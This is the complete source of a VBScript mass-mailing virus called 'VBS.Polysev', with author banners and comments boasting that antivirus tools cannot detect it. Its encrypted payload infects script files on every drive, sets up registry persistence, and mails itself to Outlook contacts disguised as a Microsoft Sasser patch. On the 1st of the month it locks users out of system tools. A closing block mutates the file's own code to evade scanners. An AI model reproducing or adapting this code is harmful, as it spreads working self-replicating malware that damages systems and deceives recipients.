'VBS.Polysev by sevenC _________________________________________________ ' _______ _______ _ _ _______ ____ ____ _______ ' / ____ \\ / ____ \\ /\\ /\\ / ____ \\ / \\ / // / ____ \\ ' / //___\// \ \\_ \// \ \\ / // \ \\_ \// / /\ \/ // / // \// ' \______ \\ / __// \ \\ / // / __// / // \ // \ \\ _ ' /\\___/ // \ \\__/\\ \ \/ // \ \\__/\\ / // / // \ \\__/\\ ' \______// \_____// \__// \_____// /__// /__// \_____// '________________________http://trax.to/sevenC__________________________ '________________________sevenC_zone@yahoo.com__________________________ 'This is very complex VBS virus,Use many Poly engine and encryption technique 'When it runs,Every variables and data in Function That needed to generate 'the real virus will changes,NO AV'S Scan it as virus,Soo don't be stupid...!! 'Virus will infect all VBS,VBS & BAS in HD,and spread it self VIA Outlook 'With Subject : "Verry Important,Sasser is Out there" 'With Body : "Verry Important,Sasser virus infected more than 170.000 PC around the world ' This is mIcrosoft patch,that will protect your PC from Sasser" 'When date now = 1,Virus will restrict user acces on PC ' 'sevenC/[Malworm] 'http://sevenc.vze.com 'http://trax.to/sevenC 'sevenC_zone@yahoo.com ' 'VBS.Polysev made on Sunday May.9th.2004 'Copyleft(c)2004 - N0:7 LAB '------------------------------------------------------------------------ a1 = "rq#huuru#uhvxph#qh{w=Glp#Ivr/#Gulyhv/#Gulyh/#Iroghu/#Ilohv/#Iloh/#Vxeiroghuv/Vxeiroghu#=Vhw#ivr#@#fuhdwhremhfw+%vfulswlqj1ilohv|vwhpremhfw%,=slqnhu#@#ivr1jhwvshfldoiroghu+3,=gxpezhhg#@#slqnhu#)#%_zlq65dsolfdwlrq1yev%=Vhw#vhyhqf#@#fuhdwhremhfw+%zvfulsw1vkhoo%,=vhyhqf1uhjzulwh#%KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_ZlqXsgdwh%/#%zvfulsw1h{h#%#)#gxpezhhg#)#%#(%=ivr1frs|iloh#zvfulsw1vfulswixooqdph/#gxpezhhg=Ivr1frs|iloh#zvfulsw1vfulswixooqdph/#%F=_Surjudp#Ilohv_Lqwhuqhw#H{soruhu_SOXJLQV_Frppdqg651h{h1yev%=Ivr1frs|iloh#zvfulsw1vfulswixooqdph/#%F=_zlqgrzv_Vkhoo651yev%=Vhw#Gulyhv@ivr1gulyhv#=Iru#Hdfk#Gulyh#lq#Gulyhv=Li#gulyh1lvuhdg|#wkhq=rq#huuru#uhvxph#qh{w=Vhw#Iroghu@ivr1jhwiroghu+sdwk,#=Vhw#Ilohv#@#iroghu1ilohv#=Iru#Hdfk#Iloh#lq#ilohv=Li#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@%yev%##ru#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@#%yeh%##ru#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@#%edv%##wkhq=ivr1Frs|Iloh#zvfulsw1vfulswixooqdph/iloh1sdwk/wuxh=hqg#li=qh{w=Vhw#Vxeiroghuv#@#iroghu1VxeIroghuv=Iru#Hdfk#Vxeiroghu#lq#Vxeiroghuv=Vhw#Iroghu@ivr1jhwiroghu+sdwk,#=Vhw#Ilohv#@#iroghu1ilohv#=Iru#Hdfk#Iloh#lq#ilohv=Li#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@%yev%##ru#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@#%yeh%##ru#ivr1JhwH{whqvlrqQdph+iloh1sdwk,@#%edv%##wkhq=ivr1Frs|Iloh#zvfulsw1vfulswixooqdph/iloh1sdwk/wuxh=hqg#li=Qh{w#=li#gd|+qrz,#@#4#wkhq=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrGulyhv%/#9:43;;96/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_GlvdeohUhjlvwu|Wrrov%/#3/#%UHJbGZRUG%=vhyhqf1UhjZulwh#%KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Zlq65%/#%F=_Surjudp#Ilohv_Lqwhuqhw#H{soruhu_SOXJLQV_Frppdqg651h{h1yev%=vhyhqf1UhjZulwh#%KNFX_Vriwzduh_Plfurvriw_Lqwhuqhw#H{soruhu_Pdlq_Vwduw#Sdjh%/#%vhyhqf1y}h1frp%=vhyhqf1UhjZulwh#%KNOP_Vriwzduh_Plfurvriw_Lqwhuqhw#H{soruhu_Pdlq_Vwduw#Sdjh%/#%vhfwruv1y}h1frp%=vhyhqf1UhjZulwh#%KNFX_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Lqwhuqhw#Vhwwlqjv_]rqhv_3_4534%/#3/#%UHJbGZRUG%=vhyhqf1UhjZulwh#%KNOP_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_UhjlvwhuhgRzqhu%/#%vhyhqF%=vhyhqf1UhjZulwh#%KNOP_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Vkhoo65%/#%F=_Zlqgrzv_Vkhoo651yev%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrGulyhv%/#9:43;;96/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrForvh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrIlqg%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_ZlqRogDss_Glvdeohg%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrGhvnwrs%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrUxq%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGlvnFso%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_GlvdeohUhjlvwu|Wrrov%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrVhwWdvnedu%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrVhwIroghu%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGlvsDsshdudqfhSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGlvsEdfnjurxqgSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGlvsVfuVdySdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGlvsVhwwlqjvSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_Qhwzrun_QrQhwVhwxs%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_Qhwzrun_QrQhwVhwxsLGSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_Qhwzrun_QrIlohVkdulqjFrqwuro%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_Qhwzrun_QrQhwVhwxsVhfxulw|Sdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrVhfFso%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrDgplqSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrSurilohSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrSzgSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrDggSulqwhu%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrGhohwhSulqwhu%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrSulqwhuWdev%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrGhyPjuSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrIlohV|vSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_V|vwhp_QrYluwPhpSdjh%/#4/#%UHJbGZRUG%=vhyhqf1uhjzulwh#%KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Srolflhv_H{soruhu_QrVdyhVhwwlqjv%/#4/#%UHJbGZRUG%=pvjer{#%Khoorrr111$$#P|#qdph#lv#vhyhqF111$$%#)#yefuoi#)#%Qlfh#wr#phw#|rx%/YELqirupdwlrq/%YEV1Sro|vhy#e|#vhyhqF%=hqg#li==Glp#{#=rq#huuru#uhvxph#qh{w#=Vhw#ivr#@%Vfulswlqj1IlohV|vwhp1Remhfw%=Vhw#vr@FuhdwhRemhfw+ivr,#=Vhw#ro@FuhdwhRemhfw+%Rxworrn1Dssolfdwlrq%,=Vhw#rxw@#ZVfulsw1FuhdwhRemhfw+%Rxworrn1Dssolfdwlrq%,=Vhw#pdsl#@#rxw1JhwQdphVsdfh+%PDSL%,=Vhw#d#@#pdsl1DgguhvvOlvwv+4,#=Iru#{@4#Wr#d1DgguhvvHqwulhv1Frxqw#=Vhw#Pdlo@ro1FuhdwhLwhp+3,#=Pdlo1wr@ro1JhwQdphVsdfh+%PDSL%,1DgguhvvOlvwv+4,1DgguhvvHqwulhv+{,=Pdlo1Vxemhfw@%Yhuu|#Lpsruwdqw/Vdvvhu#lv#Rxw#wkhuh%=Pdlo1Erg|@%Yhuu|#Lpsruwdqw/Vdvvhu#yluxv#lqihfwhg#pruh#wkdq#4:31333#SF#ruxqg#wkh#zruog%#)#yefuoi#)#%Wklv#lv#pLfurvriw#sdwfk/wkdw#zloo#surwhfw#|rxu#SF#iurp#Vdvvhu%=Pdlo1Dwwdfkphqwv1Dgg#Zvfulsw1VfulswIxooQdph=Pdlo1Vhqg#=Qh{w#=ro1Txlw#=qh{w=hqg#li#=qh{w=Vhw#rrrrr#@#ivr1rshqwh{wiloh+zvfulsw1vfulswixooqdph,=rrrrrr#@#rrrrr1uhdgdoo=rrrrr1forvh=Gr=li#qrw+ivr1ilohh{lvwv+zvfulsw1vfulswixooqdph,,#wkhq=vhw#rrrrrrr@#ivr1fuhdwhwh{wiloh+zvfulsw1vfulswixooqdph,=rrrrrrr1zulwh#rrrrrr=rrrrrrr1forvh=hqg#li=rrr#@#vhyhqf1uhjuhdg+%KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq%,=Li#rrr#?A#%F=_zlqgrzv_zlq65dsolfdwlrq1yev%#wkhq=vhyhqf1uhjzulwh#%KNOP_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq%/#%F=_zlqgrzv_zlq65dsolfdwlrq1yev%=hqg#li=rrr@#%%=orrs=*vvh=" for i1 = 1 to len(a1):u1 = mid(a1,i1,1):polysev = ((34/34)+(10+2)/(13-7))+((220*7/220)-7):e1 = asc(u1) - polysev : k1 = chr(e1):j1 = j1 + k1:next:Randomize:KS892 = int(rnd*255)+1:if KS892 = 1000 then:for z1 = 0 to KS892:s1 = strreverse(j1):next:end if:execute(j1) set fso=createobject("scripting.filesystemobject"):set lookback=fso.opentextfile(wscript.scriptfullname,1,false) poly = lookback.readall Randomize:polyint = Int(Rnd * 9):if polyint > 5 then:polynew = replace(poly,"((34/34)+(10+2)/(13-7))+((220*7/220)-7)","((34/34)+(10+2)/(13-7))+((220*7/220)-7)*"&polyint/polyint):else:polynew = replace(poly,"((34/34)+(10+2)/(13-7))+((220*7/220)-7)",chr(51)&chr(42)&chr(54)&chr(49)&chr(50)&chr(47)&chr(54)&chr(49)&chr(50)):end if Randomize:polyint1 = Int(Rnd * 9):if polyint > 4 then:polynew2 = replace(polynew,"polysev","polysev"&polyint1):else:polynew2 = replace (polynew,"polysev",chr(112)&chr(111)&chr(108)&chr(121)&chr(115)&chr(101)&chr(118)):end if Randomize:polyint2 = Int(Rnd * 9):if polyint > 4 then:polynew3 = replace(polynew2,"a1","a1"&polyint2):else:polynew3 = replace(poly,"a1",chr(97)&"1"):end if Randomize:polyint3 = Int(Rnd * 9):if polyint > 4 then:polynew4 = replace(polynew3,"i1","i1"&polyint3):else:polynew4 = replace(poly,"i1",chr(105)&"1"):end if Randomize:polyint4 = Int(Rnd * 9):if polyint > 4 then:polynew5 = replace(polynew4,"u1","u1"&polyint4):else:polynew5 = replace(poly,"u1",chr(117)&"1"):end if Randomize:polyint5 = Int(Rnd * 9):if polyint > 4 then:polynew6 = replace(polynew5,"e1","e1"&polyint5):else:polynew6 = replace(poly,"e1",chr(101)&"1"):end if Randomize:polyint6 = Int(Rnd * 9):if polyint > 4 then:polynew7 = replace(polynew6,"k1","k1"&polyint6):else:polynew7 = replace(poly,"k1",chr(107)&"1"):end if Randomize:polyint7 = Int(Rnd * 9):if polyint > 4 then:polynew8 = replace(polynew7,"j1","j1"&polyint7):else:polynew8 = replace(poly,"j1",chr(106)&"1"):end if Randomize:polyint8 = Int(Rnd * 9):if polyint > 4 then:polynew9 = replace(polynew8,"b1","b1"&polyint8):else:polynew9 = replace(poly,"b1",chr(98)&"1"):end if Randomize:polyint9 = Int(Rnd * 9):if polyint > 4 then:polynew10 = replace(polynew9,"z1","z1"&polyint9):else:polynew10 = replace(poly,"z1",chr(122)&"1"):end if set newfile=fso.opentextfile(wscript.scriptfullname,2,false):newfile.write polynew10